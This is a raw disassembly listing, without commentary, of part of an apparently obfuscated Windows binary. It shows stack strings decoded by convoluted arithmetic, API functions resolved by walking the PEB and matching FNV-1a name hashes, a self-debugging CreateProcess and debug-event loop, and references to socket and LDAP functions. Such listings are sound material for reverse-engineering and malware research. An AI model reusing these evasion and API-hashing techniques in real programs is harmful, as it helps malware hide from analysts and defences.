jae 0x1400ff32b
lea edx, [r9 + 0x49]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
add bl, r15b
jmp 0x1400ff1c3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ff351
lea edx, [r9 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ff69b
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400ff378
mov r11b, r9b
lea edx, [r11 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ff569
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ff39e
lea edx, [r9 - 0x50]
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ff67a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1400ff3c5
mov r11b, r9b
lea edx, [r11 - 0x2c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ff4f9
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1400ff1c3
mov r11b, r9b
lea edx, [r11 - 0x76]
mov al, r8b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1400ff626
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ff414
mov r11b, r9b
lea edx, [r11 - 9]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x3f
jmp 0x1400ff626
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ff437
lea ecx, [r9 - 0x77]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x41
jmp 0x1400ff646
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1400ff45a
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x43
jmp 0x1400ff649
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1400ff17b
mov r11b, r9b
lea edx, [r11 + 0x63]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x4b
jmp 0x1400ff569
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1400ff499
lea edx, [r9 - 0xc]
mov ecx, Ordinal_45
jmp 0x1400ff33d
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1400ff4b3
mov r11b, r9b
lea edx, [r11 + 0x18]
mov ecx, Ordinal_45
jmp 0x1400ff366
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1400ff140
lea edx, [r9 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1400ff649
mov r11b, r9b
lea edx, [r11 - 0x58]
mov al, r8b
and al, dl
mov cl, byte [rbp + r9 + 0x2f0]
sub cl, al
add cl, 0x34
lea ebx, [rcx + rcx]
add bl, dl
sub r11b, 0xf
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x69
add r8b, bl
add r8b, r11b
mov byte [rbp + r9 + 0x2f0], r8b
jmp 0x1400ff663
mov r11b, r9b
lea edx, [r11 + 0x3a]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1400ff569
lea ecx, [r9 + 0x1f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x27
jmp 0x1400ff69b
mov r11b, r9b
lea edx, [r11 - 5]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x23
add bl, dl
sub r11b, 0x7d
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
add cl, 0x6b
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x2f0], al
add r10, r15
add rax, r10
sub r9, rax
lea edx, [r9 - 0x34]
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x2f0], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1400ff69b
lea ecx, [r9 + 0x69]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x21
jmp 0x1400ff67a
lea ecx, [r9 - 0x4d]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x1b
jmp 0x1400ff649
mov r11b, r9b
lea edx, [r11 - 0x71]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x17
jmp 0x1400ff626
mov r11b, r9b
lea edx, [r11 + 0x6b]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x13
add bl, dl
add r11b, 0x5f
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 0x67
add r8b, r11b
mov byte [rbp + r9 + 0x2f0], r8b
add r10, r15
sub r9, r15
jmp 0x1400ff6aa
lea ecx, [r9 + 0x23]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0xb
add rdi, r10
jmp 0x1400ff67a
lea rcx, [r9 + rsi]
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 9
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1400ff6aa
lea rcx, [r9 + r14]
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 3
movzx eax, byte [rbp + r9 + 0x2f0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1400fed3e
sub r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7b
jmp 0x1400fed39
add r9b, 0x5b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7d
jmp 0x1400fed29
mov eax, dword [rbp + 0x175cbfc]
jmp 0x1400ff6fe
mov eax, dword [rbp + 0x164fe45]
jmp 0x1400ff6fe
mov eax, dword [rbp + 0x2f0]
mov dword [0x14017bef0], eax
call fcn.140141404
mov ebx, 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x5d0]
call fcn.140159eb2
xor edx, edx
mov r8d, 0xb0
lea rcx, [rbp + 0x640]
call fcn.140159eb2
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x5b0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x5d0]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r8d, 0x10002
mov edx, dword [rbp + 0x5c4]
mov ecx, dword [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
or edx, 0xffffffff
lea rcx, [rbp + 0x640]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
sub rbx, r15
jne 0x1400ff70e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rsi, rax
mov qword [rbp - 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x540], xmm0
mov qword [rbp + 0x550], rax
mov r12, qword [0x14017c708]
test r12, r12
jne 0x1400ff96c
mov esi, eax
mov r14d, 0xe463da3c
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1400ff863
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1400ff855
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1400ff844
cmp r8d, esi
jne 0x1400ff93d
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1400ff93d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1400ff93d
mov ebx, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [rbx + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1400ff8bd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1400ff8b2
cmp edx, r14d
je 0x1400ff8d3
test r11d, r11d
jne 0x1400ff89d
jmp 0x1400ff93d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r12d, dword [r8 + rdx*4]
add r12, r9
cmp r12, r10
jbe 0x1400ff95b
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x1400ff95b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1400ff92f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rcx
jmp 0x1400ff90a
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rcx
mov al, byte [r12]
test al, al
jne 0x1400ff922
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1400ff956
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1400ff818
jmp 0x1400ff958
xor eax, eax
mov r12, rax
mov qword [0x14017c708], r12
mov rsi, qword [rbp - 0x68]
mov r15d, 1
mov byte [rbp + 0x310], 0x40
mov byte [rbp + 0x311], Ordinal_79
mov byte [rbp + 0x312], 0x7c
mov byte [rbp + 0x313], 0x47
mov byte [rbp + 0x314], 0x46
mov byte [rbp + 0x315], ntohs
mov byte [rbp + 0x316], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x317], Ordinal_79
mov byte [rbp + 0x318], Ordinal_79
mov byte [rbp + 0x319], reloc.WLDAP32.dll_Ordinal_217
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x31a], xmm0
mov dword [rbp + 0x32a], eax
mov word [rbp + 0x32e], ax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x20
jae 0x14010023e
movzx r8d, byte [rbp + r9 + 0x310]
mov rdx, r8
cmp rdi, r9
ja 0x140100235
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1400ffa2e
movabs rcx, 0x308259fb6e482623
add rcx, r9
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0xb
jmp 0x1400ffa75
je 0x1401001df
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140100195
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010016b
lea rax, [r11 + 5]
cmp rdi, rax
je 0x14010012d
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140100110
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401000d5
cmp r11, r9
ja 0x14010022c
lea rax, [r11 + 0x40]
cmp rdi, rax
jae 0x1400ffa9d
lea ecx, [r9 - 0x21]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x19
jmp 0x1400ffac4
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401000bd
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401000a7
lea rax, [r11 + 3]
cmp rdi, rax
je 0x14010008e
lea rax, [r11 + rdi]
cmp rax, r9
jbe 0x1400ffdfd
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1400ffde1
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x1400ffdc8
lea rax, [r11 + 0x10]
cmp rdi, rax
je 0x1400ffdac
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1400ffd9e
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x1400ffd7e
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1400ffd61
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x5a]
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140100211
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1400ffbfb
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x1400ffbe2
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x1400ffd1c
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x1400ffcd9
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x1400ffcb8
lea rdi, [r11 + 0x1000]
lea r11, [rdi + 3]
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x1400ffc9f
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x1400ffc86
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x1400ffc6d
lea rax, [r11 + 0xa]
cmp rdi, rax
ja 0x1400ffc51
lea rax, [r11 + 0x2a]
cmp rdi, rax
ja 0x1400ffc34
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x1400ffc14
lea rdi, [r11 + 0x5a]
lea r11, [rdi + 8]
jmp 0x1400ffad1
lea ecx, [r9 - 0x45]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1d
jmp 0x1400ffa75
lea ecx, [r9 + 0x75]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x33
jmp 0x1400ff9f7
lea edx, [r9 - 8]
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov r10b, r9b
jmp 0x1401000ed
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100125
lea ecx, [r9 + 0x26]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
mov r10b, r9b
jmp 0x140100145
lea ecx, [r9 - 0x66]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
jmp 0x140100186
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x62
jmp 0x1401001b3
lea ecx, [r9 - 0x38]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1401001fa
lea ecx, [r9 + 0x19]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x51
mov byte [rbp + r9 + 0x310], bl
jmp 0x140100209
lea ecx, [r9 - 0x73]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x25
cmp rdi, r15
jae 0x140100022
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1400fff95
lea ecx, [r9 + 0x7c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x1401001fa
lea ecx, [r9 + 0x47]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xf
lea rax, [r11 + rdi]
cmp rax, 0x7a
je 0x140100043
lea rcx, [r11 + 5]
cmp rdi, rcx
jbe 0x1400ffee3
lea ecx, [r9 + 0x57]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x61
jmp 0x1400ffced
lea edx, [r9 + 0x3a]
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401001fa
lea edx, [r9 - 0x52]
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov dl, r9b
jmp 0x140100061
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1400ffe53
mov r10b, r9b
lea ecx, [r10 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140100145
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x140100125
mov r10b, r9b
lea ecx, [r10 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x1401000ed
lea rax, [r11 + 0xa]
cmp rdi, rax
jae 0x1400ffe1f
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0xb
jmp 0x1400ffd30
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1400ffe41
lea ecx, [r9 - 0x42]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x1401001fa
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1400ffe67
lea edx, [r9 - 0x70]
mov ecx, 8
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100186
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x1400ffe90
mov r10b, r9b
lea edx, [r10 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140100145
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x1400ffeb6
lea edx, [r9 - 0x58]
mov al, dl
and al, r8b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010010b
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1400ffd30
mov r10b, r9b
lea edx, [r10 - 0x12]
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401000ed
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x1400fff08
mov r10b, r9b
lea ecx, [r10 - 0x63]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4b
jmp 0x1401000ed
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1400fff2a
lea ecx, [r9 - 0x1d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x35
jmp 0x14010010b
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1400fff4f
mov r10b, r9b
lea ecx, [r10 + 0x6f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 9
jmp 0x140100145
cmp rdi, rcx
jne 0x1400fff6d
lea ecx, [r9 - 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x23
jmp 0x140100186
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1400ffced
mov dl, r9b
lea ecx, [rdx + 0x41]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x39
jmp 0x140100061
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1400fffbd
mov dl, r9b
mov ecx, 8
add ecx, edx
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140100061
lea rax, [r11 + 4]
cmp rdi, rax
jne 0x1400fffdf
lea ecx, [r9 - 0x6c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x140100166
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x1400ffff9
mov r10b, r9b
lea edx, [r10 - 0x26]
mov ecx, 5
jmp 0x1400ffe7c
cmp r11, 5
jb 0x1400ffccc
mov r10b, r9b
lea ecx, [r10 - 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 0x3c]
jmp 0x1401000ed
mov r10b, r9b
lea edx, [r10 + 0x38]
mov al, dl
and al, r8b
mov cl, byte [rbp + r9 + 0x310]
sub cl, al
add cl, 0x3c
lea ebx, [rcx + rcx]
jmp 0x140100143
mov dl, r9b
lea ecx, [rdx + 0x7e]
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x310]
lea ebx, [r8 + rcx]
sub bl, 0x72
sub dl, 0x5f
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x67
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x310], al
add r11, r15
add rax, r11
sub r9, rax
jmp 0x1401001b3
lea ecx, [r9 + 0x3d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x55
jmp 0x140100166
lea ecx, [r9 - 0x4f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x29
jmp 0x140100125
mov r10b, r9b
lea edx, [r10 + 0x25]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 3
jmp 0x1401000eb
mov r10b, r9b
lea edx, [r10 - 0x67]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2f
add bl, dl
add r10b, 0x15
mov al, r8b
and al, r10b
add al, al
sub r8b, al
add r8b, 0x6d
add r8b, r10b
mov byte [rbp + r9 + 0x310], r8b
add r11, r15
jmp 0x140100125
lea ecx, [r9 + 0xd]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5b
sub r9, r15
jmp 0x140100209
mov r10b, r9b
lea edx, [r10 - 0x39]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x71
add bl, dl
add r10b, 0x5b
mov al, r8b
and al, r10b
add al, al
sub r8b, al
sub r8b, 0x7d
add r8b, bl
add r8b, r10b
mov byte [rbp + r9 + 0x310], r8b
add rdi, r11
jmp 0x140100186
movabs rcx, 0xb49529d6e089573b
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x63
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140100209
movabs rcx, 0xf28bc1e92768beaf
add rcx, r9
mov r8b, dl
and dl, cl
add dl, dl
mov bl, r8b
sub bl, dl
add bl, 0x37
add bl, cl
lea ecx, [r9 - 0x3c]
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x5c
add r8b, cl
mov byte [rbp + r9 + 0x310], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401001fa
movabs rcx, 0x91870df24ad87269
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
add bl, 0x21
movzx eax, byte [rbp + r9 + 0x310]
add rax, r11
add r9, rax
add r9, r15
jmp 0x1400ff9e4
sub r9b, 0x17
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x5f
jmp 0x1400ff9cf
lea rcx, [rbp + 0x179a294]
jmp 0x140100245
lea rcx, [rbp + 0x101c8b7]
jmp 0x140100245
lea rcx, [rbp + 0x310]
call r12
mov qword [rbp - 0x70], rax
mov r9d, Ordinal_27
lea r8, [rbp + 0x540]
mov rdx, rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rcx, qword [rbp + 0x540]
mov qword [rbp - 0x28], rcx
mov r12, qword [0x14017c740]
xor eax, eax
test r12, r12
jne 0x1401003ec
mov esi, eax
mov r14d, 0xbdcac9ce
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rax, qword [rdx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x1401002eb
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401002dd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401002cc
cmp r8d, esi
jne 0x1401003c5
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov rax, qword [rax + r11 + 0x88]
mov r9d, eax
add r9, r11
shr rax, 0x20
cmp r9, r11
je 0x1401003c5
mov r10d, dword [r9 + 0x18]
test r10d, r10d
je 0x1401003c5
mov ebx, dword [r9 + 0x20]
mov r12d, 1
dec r10d
lea rdx, [rbx + r10*4]
mov r8d, dword [rdx + r11]
add r8, r11
mov edx, 0x811c9dc5
jmp 0x140100345
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14010033a
cmp edx, r14d
je 0x14010035b
test r10d, r10d
jne 0x140100325
jmp 0x1401003c5
mov r8d, dword [r9 + 0x1c]
add r8, r11
mov edx, dword [r9 + 0x24]
add rdx, r11
movzx edx, word [rdx + r10*2]
mov r12d, dword [r8 + rdx*4]
add r12, r11
cmp r12, r9
jbe 0x1401003e3
lea rcx, [rax + r9]
cmp r12, rcx
jae 0x1401003e3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x1401003b7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rcx
jmp 0x140100392
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rcx
mov al, byte [r12]
test al, al
jne 0x1401003aa
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x1401003de
xor eax, eax
cmp qword [rdi + 0x30], rax
jne 0x1401002a0
jmp 0x1401003e0
xor eax, eax
mov r12, rax
mov qword [0x14017c740], r12
xor eax, eax
mov byte [rbp + 0x4d0], ntohs
mov byte [rbp + 0x4d1], 0xf3
mov byte [rbp + 0x4d2], reloc.WS2_32.dll_recv
mov byte [rbp + 0x4d3], Ordinal_60
mov byte [rbp + 0x4d4], 5
mov byte [rbp + 0x4d5], 3
mov byte [rbp + 0x4d6], ntohs
mov byte [rbp + 0x4d7], 0x3e
mov byte [rbp + 0x4d8], 7
mov byte [rbp + 0x4d9], al
mov byte [rbp + 0x4da], Ordinal_45
mov byte [rbp + 0x4db], 6
mov byte [rbp + 0x4dc], reloc.WS2_32.dll_listen
mov byte [rbp + 0x4dd], 4
mov byte [rbp + 0x4de], 4
mov byte [rbp + 0x4df], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x4e0], gethostname
mov byte [rbp + 0x4e1], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x4e2], 0xca
mov byte [rbp + 0x4e3], Ordinal_45
mov byte [rbp + 0x4e4], Ordinal_50
mov byte [rbp + 0x4e5], reloc.WS2_32.dll_listen
mov byte [rbp + 0x4e6], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x4e7], Ordinal_45
mov byte [rbp + 0x4e8], Ordinal_45
mov byte [rbp + 0x4e9], 0xef
mov byte [rbp + 0x4ea], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x4eb], Ordinal_50
mov byte [rbp + 0x4ec], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x4ed], 0x99
xor eax, eax
mov dword [rbp + 0x4ee], eax
mov word [rbp + 0x4f2], ax
mov bl, byte [rsp + 0x50]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor eax, eax
mov r9d, eax
lea r14d, [rax + 1]
cmp r9, 0x24
jae 0x140100e8c
movzx r8d, byte [rbp + r9 + 0x4d0]
mov rdx, r8
cmp rdi, r9
ja 0x140100e83
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140100533
movabs rcx, 0xadbf9fb8fb7c6019
add rcx, r9
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x51
jmp 0x14010056d
je 0x140100e12
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140100d9c
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140100d73
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140100d39
lea rax, [r11 + 7]
cmp rdi, rax
je 0x140100d1d
cmp r11, r9
ja 0x140100e7a
lea rcx, [r11 + 3]
